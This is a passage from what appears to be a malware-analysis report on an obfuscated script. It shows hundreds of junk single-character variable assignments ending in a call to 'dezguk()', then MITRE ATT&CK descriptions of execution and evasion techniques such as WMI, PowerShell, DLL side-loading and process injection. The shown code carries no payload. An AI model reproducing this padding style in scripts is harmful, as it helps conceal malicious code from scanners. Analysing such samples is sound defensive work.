416	meamkrjoh = "M";
417	meamkrjoh = "K";
418	meamkrjoh = "W";
419	meamkrjoh = "C";
420	meamkrjoh = "v";
421	meamkrjoh = "X";
422	meamkrjoh = "P";
423	meamkrjoh = "P";
424	meamkrjoh = "i";
425	meamkrjoh = "H";
426	ucnbphps = "h";
427	ucnbphps = "c";
428	ucnbphps = "z";
429	ucnbphps = "r";
430	ucnbphps = "V";
431	ucnbphps = "i";
432	ucnbphps = "K";
433	ucnbphps = "a";
434	ucnbphps = "Y";
435	ucnbphps = "O";
436	ucnbphps = "G";
437	ucnbphps = "X";
438	ucnbphps = "X";
439	ucnbphps = "h";
440	ucnbphps = "x";
441	ucnbphps = "M";
442	ucnbphps = "J";
443	ucnbphps = "h";
444	ucnbphps = "d";
445	ucnbphps = "c";
446	ucnbphps = "f";
447	ucnbphps = "T";
448	ucnbphps = "c";
449	ucnbphps = "M";
450	ucnbphps = "J";
451	ucnbphps = "U";
452	ucnbphps = "j";
453	ucnbphps = "d";
454	ucnbphps = "P";
455	ucnbphps = "m";
456	ucnbphps = "j";
457	ucnbphps = "y";
458	ucnbphps = "y";
459	ucnbphps = "F";
460	ucnbphps = "a";
461	ucnbphps = "H";
462	ucnbphps = "c";
463	ucnbphps = "X";
464	ucnbphps = "v";
465	ucnbphps = "H";
466	ucnbphps = "G";
467	ucnbphps = "E";
468	ucnbphps = "I";
469	ucnbphps = "g";
470	hqbujdavv = "H";
471	hqbujdavv = "h";
472	hqbujdavv = "O";
473	hqbujdavv = "f";
474	hqbujdavv = "c";
475	hqbujdavv = "K";
476	hqbujdavv = "x";
477	hqbujdavv = "x";
478	hqbujdavv = "T";
479	hqbujdavv = "b";
480	hqbujdavv = "n";
481	hqbujdavv = "q";
482	hqbujdavv = "H";
483	hqbujdavv = "w";
484	hqbujdavv = "S";
485	hqbujdavv = "x";
486	hqbujdavv = "m";
487	hqbujdavv = "d";
488	hqbujdavv = "C";
489	hqbujdavv = "a";
490	hqbujdavv = "I";
491	hqbujdavv = "R";
492	hqbujdavv = "P";
493	hqbujdavv = "h";
494	hqbujdavv = "X";
495	hqbujdavv = "q";
496	hqbujdavv = "Z";
497	hqbujdavv = "V";
498	hqbujdavv = "j";
499	hqbujdavv = "u";
500	hqbujdavv = "d";
501	hqbujdavv = "H";
502	hqbujdavv = "X";
503	hqbujdavv = "R";
504	poxfjybpn = "Z";
505	poxfjybpn = "C";
506	poxfjybpn = "Z";
507	poxfjybpn = "K";
508	poxfjybpn = "k";
509	poxfjybpn = "E";
510	poxfjybpn = "P";
511	yinla = "W";
512	yinla = "e";
513	yinla = "Y";
514	yinla = "x";
515	yinla = "Y";
516	yinla = "z";
517	yinla = "N";
518	yinla = "Q";
519	yinla = "W";
520	yinla = "h";
521	yinla = "Z";
522	yinla = "P";
523	yinla = "E";
524	yinla = "F";
525	iatundrlj = "H";
526	iatundrlj = "J";
527	iatundrlj = "c";
528	dvnbo = "z";
529	dvnbo = "l";
530	dvnbo = "x";
531	dvnbo = "H";
532	dvnbo = "m";
533	dvnbo = "S";
534	dvnbo = "K";
535	dvnbo = "x";
536	dvnbo = "j";
537	dvnbo = "r";
538	dvnbo = "U";
539	dvnbo = "l";
540	dvnbo = "X";
541	dvnbo = "h";
542	dvnbo = "t";
543	dvnbo = "F";
544	dvnbo = "e";
545	dvnbo = "w";
546	dvnbo = "z";
547	dvnbo = "b";
548	dvnbo = "Y";
549	dvnbo = "A";
550	dvnbo = "p";
551	dvnbo = "O";
552	dvnbo = "F";
553	dvnbo = "i";
554	dvnbo = "B";
555	dvnbo = "s";
556	dvnbo = "X";
557	dvnbo = "4";
558	nlsfti = "R";
559	nlsfti = "x";
560	nlsfti = "i";
561	nlsfti = "D";
562	nlsfti = "C";
563	nlsfti = "u";
564	nlsfti = "1";
565	naqpo = "m";
566	naqpo = "d";
567	naqpo = "M";
568	naqpo = "w";
569	naqpo = "h";
570	naqpo = "I";
571	naqpo = "t";
572	naqpo = "Q";
573	dxqnnmhgr = "X";
574	dxqnnmhgr = "y";
575	dxqnnmhgr = "N";
576	dxqnnmhgr = "Z";
577	dxqnnmhgr = "d";
578	dxqnnmhgr = "c";
579	dxqnnmhgr = "x";
580	dxqnnmhgr = "m";
581	dxqnnmhgr = "G";
582	dxqnnmhgr = "Z";
583	dxqnnmhgr = "s";
584	dxqnnmhgr = "Y";
585	dxqnnmhgr = "z";
586	dxqnnmhgr = "F";
587	dxqnnmhgr = "G";
588	dxqnnmhgr = "P";
589	dxqnnmhgr = "j";
590	dxqnnmhgr = "Q";
591	dxqnnmhgr = "N";
592	dxqnnmhgr = "p";
593	dxqnnmhgr = "x";
594	dxqnnmhgr = "Z";
595	dxqnnmhgr = "Q";
596	dxqnnmhgr = "O";
597	dxqnnmhgr = "Y";
598	dxqnnmhgr = "f";
599	dxqnnmhgr = "P";
600	dxqnnmhgr = "g";
601	dxqnnmhgr = "p";
602	dxqnnmhgr = "o";
603	dxqnnmhgr = "m";
604	dxqnnmhgr = "M";
605	dxqnnmhgr = "T";
606	dxqnnmhgr = "U";
607	dxqnnmhgr = "W";
608	dxqnnmhgr = "P";
609	dxqnnmhgr = "V";
610	dxqnnmhgr = "G";
611	dxqnnmhgr = "E";
612	dxqnnmhgr = "W";
613	dxqnnmhgr = "f";
614	dxqnnmhgr = "d";
615	dxqnnmhgr = "b";
616	dxqnnmhgr = "W";
617	dxqnnmhgr = "d";
618	spykr = "U";
619	spykr = "D";
620	spykr = "L";
621	spykr = "y";
622	spykr = "q";
623	spykr = "A";
624	spykr = "k";
625	spykr = "z";
626	spykr = "P";
627	spykr = "J";
628	spykr = "V";
629	spykr = "f";
630	spykr = "G";
631	spykr = "G";
632	spykr = "z";
633	spykr = "q";
634	paezyanen = "o";
635	paezyanen = "n";
636	paezyanen = "D";
637	paezyanen = "G";
638	paezyanen = "o";
639	paezyanen = "U";
640	paezyanen = "i";
641	paezyanen = "D";
642	paezyanen = "i";
643	paezyanen = "r";
644	paezyanen = "g";
645	paezyanen = "q";
646	paezyanen = "V";
647	paezyanen = "A";
648	paezyanen = "j";
649	paezyanen = "E";
650	paezyanen = "k";
651	paezyanen = "k";
652	paezyanen = "k";
653	paezyanen = "O";
654	paezyanen = "p";
655	paezyanen = "L";
656	paezyanen = "y";
657	paezyanen = "D";
658	paezyanen = "n";
659	qqktobig = "j";
660	qqktobig = "f";
661	qqktobig = "l";
662	qqktobig = "e";
663	qqktobig = "g";
664	qqktobig = "K";
665	aujyecd = "s";
666	aujyecd = "k";
667	aujyecd = "R";
668	aujyecd = "n";
669	aujyecd = "q";
670	aujyecd = "v";
671	aujyecd = " ";
672	nbuparsfn = "d";
673	nbuparsfn = "c";
674	nbuparsfn = "j";
675	nbuparsfn = "U";
676	nbuparsfn = "Z";
677	nbuparsfn = "X";
678	nbuparsfn = "R";
679	nbuparsfn = "R";
680	nbuparsfn = "W";
681	nbuparsfn = "a";
682	nbuparsfn = "v";
683	nbuparsfn = "R";
684	nbuparsfn = "e";
685	nbuparsfn = "j";
686	nbuparsfn = "x";
687	nbuparsfn = "C";
688	nbuparsfn = "i";
689	nbuparsfn = "p";
690	nbuparsfn = "a";
691	nbuparsfn = "P";
692	nbuparsfn = "R";
693	nbuparsfn = "j";
694	nbuparsfn = "m";
695	nbuparsfn = "d";
696	nbuparsfn = "b";
697	nbuparsfn = "j";
698	nbuparsfn = "l";
699	nbuparsfn = "T";
700	nbuparsfn = "H";
701	nbuparsfn = "Y";
702	nbuparsfn = "Q";
703	nbuparsfn = "z";
704	nbuparsfn = "E";
705	nbuparsfn = "k";
706	nbuparsfn = "o";
707	nbuparsfn = "a";
708	nbuparsfn = "A";
709	nbuparsfn = "c";
710	nbuparsfn = "E";
711	nbuparsfn = "k";
712	nbuparsfn = "x";
713	vxbtoeo = "I";
714	vxbtoeo = "B";
715	vxbtoeo = "F";
716	vxbtoeo = "i";
717	vxbtoeo = "t";
718	vxbtoeo = "h";
719	vxbtoeo = "x";
720	vxbtoeo = "B";
721	vxbtoeo = "P";
722	vxbtoeo = "a";
723	vxbtoeo = "f";
724	vxbtoeo = "x";
725	vxbtoeo = "g";
726	vxbtoeo = "z";
727	vxbtoeo = "Z";
728	vxbtoeo = "H";
729	vxbtoeo = "N";
730	vxbtoeo = "r";
731	vxbtoeo = "S";
732	vxbtoeo = "g";
733	vxbtoeo = "f";
734	vxbtoeo = "U";
735	vxbtoeo = "p";
736	vxbtoeo = "N";
737	vxbtoeo = "l";
738	vxbtoeo = "s";
739	vxbtoeo = "A";
740	vxbtoeo = "j";
741	vxbtoeo = "x";
742	vxbtoeo = "l";
743	vxbtoeo = "O";
744	vxbtoeo = "W";
745	vxbtoeo = "a";
746	xvzunp = "h";
747	xvzunp = "s";
748	xvzunp = "V";
749	xvzunp = "S";
750	xvzunp = "Q";
751	xvzunp = "y";
752	xvzunp = "z";
753	xvzunp = "U";
754	xvzunp = "O";
755	xvzunp = "C";
756	xvzunp = "q";
757	xvzunp = "E";
758	xvzunp = "S";
759	xvzunp = "B";
760	xvzunp = "P";
761	xvzunp = "U";
762	xvzunp = "p";
763	xvzunp = "q";
764	xvzunp = "S";
765	xvzunp = "i";
766	ppqjcxui = "f";
767	ppqjcxui = "U";
768	ppqjcxui = "l";
769	ppqjcxui = "Y";
770	ppqjcxui = "a";
771	ppqjcxui = "L";
772	ppqjcxui = "W";
773	ppqjcxui = "b";
774	ppqjcxui = "X";
775	ppqjcxui = "d";
776	ppqjcxui = "M";
777	ppqjcxui = "x";
778	ppqjcxui = "F";
779	ppqjcxui = "X";
780	ppqjcxui = "u";
781	ppqjcxui = "W";
782	ppqjcxui = "d";
783	ppqjcxui = "w";
784	ppqjcxui = "q";
785	ppqjcxui = "U";
786	ppqjcxui = "Z";
787	ppqjcxui = "t";
788	ppqjcxui = "i";
789	ppqjcxui = "R";
790	ppqjcxui = "B";
791	ppqjcxui = "C";
792	ppqjcxui = "t";
793	ppqjcxui = "U";
794	ppqjcxui = "U";
795	ppqjcxui = "k";
796	ppqjcxui = "h";
797	ppqjcxui = "N";
798	ppqjcxui = "P";
799	ppqjcxui = "y";
800	ppqjcxui = "B";
801	ppqjcxui = "F";
802	ppqjcxui = "k";
803	ppqjcxui = "-";
804	ksrysdwnp = "V";
805	ksrysdwnp = "D";
806	ksrysdwnp = "k";
807	ksrysdwnp = "C";
808	ksrysdwnp = "n";
809	ksrysdwnp = "J";
810	ksrysdwnp = "i";
811	ksrysdwnp = "C";
812	ksrysdwnp = "w";
813	ksrysdwnp = "D";
814	ksrysdwnp = "Y";
815	ksrysdwnp = "l";
816	ksrysdwnp = "e";
817	ksrysdwnp = "l";
818	ksrysdwnp = "J";
819	ksrysdwnp = "d";
820	ksrysdwnp = "h";
821	ksrysdwnp = "m";
822	ksrysdwnp = "z";
823	ksrysdwnp = "C";
824	ksrysdwnp = "E";
825	ksrysdwnp = "Q";
826	ksrysdwnp = "u";
827	ksrysdwnp = "R";
828	ksrysdwnp = "A";
829	ksrysdwnp = "h";
830	ksrysdwnp = "h";
831	ksrysdwnp = "p";
832	ksrysdwnp = "e";
833	ksrysdwnp = "o";
834	vvawylmf = "v";
835	vvawylmf = "n";
836	vvawylmf = "U";
837	vvawylmf = "P";
838	vvawylmf = "I";
839	usccnadg = "Q";
840	usccnadg = "I";
841	usccnadg = "G";
842	usccnadg = "Y";
843	usccnadg = "M";
844	usccnadg = "Z";
845	usccnadg = "a";
846	usccnadg = "i";
847	usccnadg = "m";
848	usccnadg = "o";
849	usccnadg = "c";
850	usccnadg = "l";
851	usccnadg = "I";
852	usccnadg = "i";
853	usccnadg = "y";
854	usccnadg = "l";
855	usccnadg = "y";
856	usccnadg = "i";
857	usccnadg = "e";
858	usccnadg = "o";
859	usccnadg = "k";
860	usccnadg = "y";
861	usccnadg = "r";
862	usccnadg = "b";
863	usccnadg = "N";
864	usccnadg = "M";
865	usccnadg = "i";
866	usccnadg = "c";
867	usccnadg = "H";
868	usccnadg = "o";
869	usccnadg = "U";
870	usccnadg = "y";
871	usccnadg = "L";
872	usccnadg = "3";
873	akxybwlux = "P";
874	akxybwlux = "F";
875	akxybwlux = "F";
876	akxybwlux = "Q";
877	akxybwlux = "w";
878	akxybwlux = "N";
879	akxybwlux = "G";
880	akxybwlux = "I";
881	akxybwlux = "g";
882	akxybwlux = "X";
883	akxybwlux = "N";
884	akxybwlux = "j";
885	akxybwlux = "m";
886	akxybwlux = "j";
887	akxybwlux = "h";
888	akxybwlux = "O";
889	akxybwlux = "H";
890	akxybwlux = "v";
891	akxybwlux = "D";
892	akxybwlux = "j";
893	akxybwlux = "v";
894	akxybwlux = "X";
895	akxybwlux = "h";
896	akxybwlux = "v";
897	akxybwlux = "F";
898	akxybwlux = "e";
899	akxybwlux = "c";
900	akxybwlux = "f";
901	akxybwlux = "b";
902	akxybwlux = "s";
903	akxybwlux = "J";
904	akxybwlux = "6";
905	dvujg = "V";
906	dvujg = "U";
907	dvujg = "Q";
908	dvujg = "N";
909	dvujg = "j";
910	dvujg = "V";
911	dvujg = "Y";
912	dvujg = "X";
913	dvujg = "h";
914	dvujg = "M";
915	dvujg = "S";
916	dvujg = "C";
917	dvujg = "X";
918	dvujg = "V";
919	dvujg = "p";
920	dvujg = "b";
921	dvujg = "h";
922	dvujg = "Q";
923	dvujg = "F";
924	dvujg = "r";
925	dvujg = "H";
926	dvujg = "Z";
927	dvujg = "F";
928	dvujg = "V";
929	dvujg = "c";
930	dvujg = "t";
931	dvujg = "k";
932	dvujg = "l";
933	dvujg = "B";
934	dvujg = "b";
935	dvujg = "B";
936	dvujg = "i";
937	dvujg = "K";
938	dvujg = "j";
939	dvujg = "E";
940	dvujg = "b";
941	dvujg = "Y";
942	dvujg = "r";
943	yhaath = "F";
944	yhaath = "P";
945	yhaath = "I";
946	yhaath = "S";
947	yhaath = "d";
948	yhaath = "u";
949	yhaath = "R";
950	yhaath = "B";
951	yhaath = "V";
952	yhaath = "L";
953	gsjinihmx = "O";
954	gsjinihmx = "V";
955	gsjinihmx = "x";
956	gsjinihmx = "T";
957	gsjinihmx = "z";
958	gsjinihmx = "n";
959	gsjinihmx = "U";
960	gsjinihmx = "r";
961	gsjinihmx = "t";
962	gsjinihmx = "Z";
963	gsjinihmx = "Y";
964	gsjinihmx = "F";
965	gsjinihmx = "D";
966	gsjinihmx = "x";
967	gsjinihmx = "E";
968	gsjinihmx = "P";
969	gsjinihmx = "8";
970	mrkeves = "t";
971	mrkeves = "a";
972	mrkeves = "k";
973	mrkeves = "l";
974	mrkeves = "h";
975	mrkeves = "H";
976	mrkeves = "M";
977	mrkeves = "K";
978	mrkeves = "L";
979	mrkeves = "O";
980	mrkeves = "d";
981	mrkeves = "Y";
982	mrkeves = "B";
983	mrkeves = "N";
984	mrkeves = "O";
985	mrkeves = "l";
986	mrkeves = "o";
987	mrkeves = "D";
988	mrkeves = "E";
989	mrkeves = "C";
990	mrkeves = "l";
991	dlwhrt = "n";
992	dlwhrt = "v";
993	dlwhrt = "B";
994	dlwhrt = "P";
995	dlwhrt = "F";
996	dlwhrt = "w";
997	dlwhrt = "v";
998	dlwhrt = "C";
999	dlwhrt = "U";
1000	dlwhrt = "O";
1001	dlwhrt = "L";
1002	dlwhrt = "P";
1003	dlwhrt = "Q";
1004	dlwhrt = "G";
1005	dlwhrt = "f";
1006	dlwhrt = "p";
1007	dlwhrt = "j";
1008	dlwhrt = "i";
1009	dlwhrt = "Q";
1010	dlwhrt = "h";
1011	dlwhrt = "K";
1012	dlwhrt = "g";
1013	dlwhrt = "V";
1014	dlwhrt = "E";
1015	dlwhrt = "M";
1016	dlwhrt = "e";
1017	dlwhrt = "E";
1018	thsem = "2";
1019	ynszv = "A";
1020	ynszv = "J";
1021	ynszv = "v";
1022	ynszv = "J";
1023	ynszv = "D";
1024	ynszv = "R";
1025	ynszv = "l";
1026	ynszv = "g";
1027	ynszv = "k";
1028	ynszv = "I";
1029	ynszv = "Y";
1030	ynszv = "r";
1031	ynszv = "z";
1032	ynszv = "I";
1033	ynszv = "h";
1034	ynszv = "q";
1035	ynszv = "U";
1036	ynszv = "P";
1037	ynszv = "S";
1038	ynszv = "V";
1039	ynszv = "f";
1040	ynszv = "x";
1041	ynszv = "c";
1042	ynszv = "a";
1043	ynszv = "c";
1044	ynszv = "c";
1045	ynszv = "l";
1046	ynszv = "e";
1047	ynszv = "u";
1048	ynszv = "p";
1049	ynszv = "K";
1050	ynszv = "L";
1051	ynszv = "V";
1052	ynszv = "n";
1053	ynszv = "T";
1054	ynszv = "q";
1055	ynszv = "O";
1056	ynszv = "F";
1057	ynszv = "p";
1058	ynszv = "S";
1059	ynszv = "G";
1060	ynszv = "l";
1061	ynszv = "b";
1062	ynszv = "Q";
1063	ynszv = "T";
1064	lgohdiy = "h";
1065	lgohdiy = "U";
1066	lgohdiy = "I";
1067	lgohdiy = "m";
1068	lgohdiy = "v";
1069	lgohdiy = "m";
1070	lgohdiy = "K";
1071	lgohdiy = "P";
1072	lgohdiy = "o";
1073	lgohdiy = "D";
1074	lgohdiy = "n";
1075	lgohdiy = "u";
1076	lgohdiy = "T";
1077	lgohdiy = "W";
1078	lgohdiy = "D";
1079	lgohdiy = "L";
1080	lgohdiy = "w";
1081	lgohdiy = "T";
1082	lgohdiy = "B";
1083	lgohdiy = "v";
1084	lgohdiy = "Z";
1085	lgohdiy = "G";
1086	lgohdiy = "z";
1087	lgohdiy = "f";
1088	lgohdiy = "w";
1089	lgohdiy = "z";
1090	lgohdiy = "%";
1091	yxixuatzo = "m";
1092	yxixuatzo = "V";
1093	yxixuatzo = "k";
1094	yxixuatzo = "M";
1095	yxixuatzo = "k";
1096	yxixuatzo = "D";
1097	yxixuatzo = "z";
1098	yxixuatzo = "e";
1099	yxixuatzo = "S";
1100	yxixuatzo = "Z";
1101	yxixuatzo = "i";
1102	yxixuatzo = "f";
1103	yxixuatzo = "\"";
1104	ehixsj = "W";
1105	ehixsj = "Y";
1106	ehixsj = "A";
1107	ehixsj = "v";
1108	ehixsj = "L";
1109	ehixsj = "X";
1110	ehixsj = "b";
1111	ehixsj = "Q";
1112	ehixsj = "R";
1113	ehixsj = "h";
1114	ehixsj = "C";
1115	ehixsj = "p";
1116	ehixsj = "l";
1117	ehixsj = "s";
1118	ehixsj = "L";
1119	ehixsj = "k";
1120	ehixsj = "j";
1121	ehixsj = "D";
1122	ehixsj = "j";
1123	ehixsj = "/";
1124	afgqikoc = "X";
1125	afgqikoc = "U";
1126	afgqikoc = "t";
1127	afgqikoc = "t";
1128	afgqikoc = "s";
1129	afgqikoc = "H";
1130	afgqikoc = "l";
1131	afgqikoc = "P";
1132	afgqikoc = "J";
1133	afgqikoc = "c";
1134	afgqikoc = "B";
1135	afgqikoc = "r";
1136	afgqikoc = "L";
1137	afgqikoc = "G";
1138	afgqikoc = "Q";
1139	afgqikoc = "Q";
1140	afgqikoc = "D";
1141	afgqikoc = "z";
1142	afgqikoc = "a";
1143	afgqikoc = "z";
1144	afgqikoc = "Q";
1145	afgqikoc = "M";
1146	afgqikoc = "_";
1147	mvjczjmo = "R";
1148	mvjczjmo = "K";
1149	mvjczjmo = "L";
1150	mvjczjmo = "l";
1151	mvjczjmo = "B";
1152	mvjczjmo = "o";
1153	mvjczjmo = "f";
1154	mvjczjmo = "n";
1155	mvjczjmo = "K";
1156	mvjczjmo = "X";
1157	mvjczjmo = "z";
1158	mvjczjmo = "e";
1159	mvjczjmo = "r";
1160	mvjczjmo = "G";
1161	mvjczjmo = "k";
1162	mvjczjmo = "S";
1163	mvjczjmo = "k";
1164	mvjczjmo = "X";
1165	mvjczjmo = "r";
1166	mvjczjmo = "j";
1167	mvjczjmo = "V";
1168	mvjczjmo = "L";
1169	mvjczjmo = "c";
1170	mvjczjmo = "i";
1171	mvjczjmo = "T";
1172	mvjczjmo = "S";
1173	mvjczjmo = "J";
1174	mvjczjmo = "e";
1175	mvjczjmo = "A";
1176	mvjczjmo = "J";
1177	mvjczjmo = "R";
1178	mvjczjmo = "h";
1179	mvjczjmo = "K";
1180	mvjczjmo = "S";
1181	mvjczjmo = "Z";
1182	mvjczjmo = "L";
1183	mvjczjmo = "z";
1184	mvjczjmo = "N";
1185	mvjczjmo = "h";
1186	mvjczjmo = "Z";
1187	mvjczjmo = "A";
1188	mvjczjmo = "S";
1189	ekolfmuf = "N";
1190	ekolfmuf = "k";
1191	ekolfmuf = "h";
1192	rwoicen = "p";
1193	rwoicen = "x";
1194	rwoicen = "P";
1195	rwoicen = "i";
1196	rwoicen = "O";
1197	rwoicen = "d";
1198	rwoicen = "L";
1199	rwoicen = "s";
1200	rwoicen = "h";
1201	rwoicen = "K";
1202	rwoicen = "Q";
1203	rwoicen = "A";
1204	rwoicen = "P";
1205	rwoicen = "u";
1206	rwoicen = "T";
1207	rwoicen = "b";
1208	rwoicen = "Q";
1209	rwoicen = "W";
1210	rwoicen = "e";
1211	rwoicen = "z";
1212	rwoicen = "s";
1213	rwoicen = "B";
1214	rwoicen = "Q";
1215	rwoicen = "G";
1216	rwoicen = "K";
1217	rwoicen = "G";
1218	rwoicen = "Y";
1219	rwoicen = "I";
1220	rwoicen = "e";
1221	rwoicen = "z";
1222	rwoicen = "P";
1223	rwoicen = "m";
1224	rwoicen = "u";
1225	rwoicen = "w";
1226	rwoicen = "Y";
1227	rwoicen = "s";
1228	jlcmua = "B";
1229	jlcmua = "z";
1230	jlcmua = "q";
1231	jlcmua = "E";
1232	jlcmua = "K";
1233	jlcmua = "&";
1234	dzhuy = "k";
1235	dzhuy = "p";
1236	dzhuy = "B";
1237	dzhuy = "n";
1238	dzhuy = "q";
1239	dzhuy = "e";
1240	dzhuy = "K";
1241	dzhuy = "D";
1242	dzhuy = "Y";
1243	dzhuy = "L";
1244	dzhuy = "P";
1245	dzhuy = "E";
1246	dzhuy = "J";
1247	dzhuy = "k";
1248	dzhuy = "U";
1249	dzhuy = "B";
1250	dzhuy = "t";
1251	dzhuy = "I";
1252	dzhuy = "q";
1253	dzhuy = "f";
1254	dzhuy = "n";
1255	dzhuy = "q";
1256	dzhuy = "P";
1257	dzhuy = "h";
1258	dzhuy = "A";
1259	dzhuy = "e";
1260	dzhuy = "P";
1261	dzhuy = "U";
1262	dzhuy = "N";
1263	dzhuy = "S";
1264	dzhuy = "U";
1265	dzhuy = "f";
1266	dzhuy = "d";
1267	dzhuy = "m";
1268	dzhuy = "M";
1269	dzhuy = "9";
1270	dgumqhpil = "b";
1271	dgumqhpil = "g";
1272	dgumqhpil = "g";
1273	dgumqhpil = "m";
1274	dgumqhpil = "Y";
1275	dgumqhpil = "I";
1276	dgumqhpil = "G";
1277	dgumqhpil = "r";
1278	dgumqhpil = "g";
1279	dgumqhpil = "J";
1280	dgumqhpil = "f";
1281	dgumqhpil = "X";
1282	dgumqhpil = "C";
1283	dgumqhpil = "S";
1284	dgumqhpil = "R";
1285	dgumqhpil = "s";
1286	dgumqhpil = "o";
1287	dgumqhpil = "7";
1288	ehmkhx = "z";
1289	ehmkhx = "a";
1290	ehmkhx = "k";
1291	ehmkhx = "V";
1292	ehmkhx = "Z";
1293	ehmkhx = "W";
1294	ehmkhx = "E";
1295	ehmkhx = "Q";
1296	ehmkhx = "z";
1297	ehmkhx = "t";
1298	snzwy = "P";
1299	snzwy = "p";
1300	snzwy = "F";
1301	snzwy = "N";
1302	snzwy = "K";
1303	snzwy = "G";
1304	snzwy = "h";
1305	snzwy = "Y";
1306	snzwy = "e";
1307	snzwy = "e";
1308	snzwy = "o";
1309	snzwy = "C";
1310	snzwy = "Z";
1311	snzwy = "e";
1312	snzwy = "R";
1313	snzwy = "N";
1314	snzwy = "M";
1315	snzwy = "f";
1316	snzwy = "R";
1317	snzwy = "i";
1318	snzwy = "p";
1319	snzwy = "5";
1320	mvyes = "i";
1321	mvyes = "D";
1322	mvyes = "e";
1323	mvyes = "o";
1324	mvyes = "I";
1325	mvyes = "D";
1326	mvyes = "z";
1327	mvyes = "k";
1328	mvyes = "M";
1329	mvyes = "e";
1330	mvyes = "A";
1331	mvyes = "p";
1332	mvyes = "G";
1333	mvyes = "t";
1334	mvyes = "B";
1335	mvyes = "p";
1336	mvyes = "A";
1337	mvyes = "Y";
1338	mvyes = "B";
1339	mvyes = "u";
1340	mvyes = "N";
1341	mvyes = "x";
1342	mvyes = "v";
1343	mvyes = "O";
1344	mvyes = "d";
1345	mvyes = "I";
1346	mvyes = "o";
1347	mvyes = "L";
1348	mvyes = "V";
1349	mvyes = "L";
1350	mvyes = "p";
1351	mvyes = "K";
1352	mvyes = "h";
1353	mvyes = "K";
1354	mvyes = "Q";
1355	mvyes = "B";
1356	mvyes = "W";
1357	mvyes = "d";
1358	mvyes = "U";
1359	mvyes = "d";
1360	mvyes = "p";
1361	mvyes = "O";
1362	mvyes = "x";
1363	mvyes = "C";
1364	zeigyjf = "G";
1365	zeigyjf = "a";
1366	zeigyjf = "l";
1367	zeigyjf = "s";
1368	zeigyjf = "i";
1369	zeigyjf = "r";
1370	zeigyjf = "r";
1371	zeigyjf = "l";
1372	zeigyjf = "q";
1373	zeigyjf = "h";
1374	zeigyjf = "k";
1375	zeigyjf = "g";
1376	zeigyjf = "l";
1377	zeigyjf = "u";
1378	zeigyjf = "g";
1379	zeigyjf = "h";
1380	zeigyjf = "E";
1381	zeigyjf = "e";
1382	zeigyjf = "R";
1383	zeigyjf = "d";
1384	zeigyjf = "K";
1385	zeigyjf = "P";
1386	zeigyjf = "z";
1387	zeigyjf = "u";
1388	zeigyjf = "F";
1389	zeigyjf = "j";
1390	zeigyjf = "G";
1391	zeigyjf = "W";
1392	zeigyjf = "z";
1393	zeigyjf = "J";
1394	zeigyjf = "F";
1395	zeigyjf = "a";
1396	zeigyjf = "c";
1397	zeigyjf = "D";
1398	zeigyjf = "o";
1399	zeigyjf = "I";
1400	zeigyjf = "Y";
1401	dezguk ( );	dezguk() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

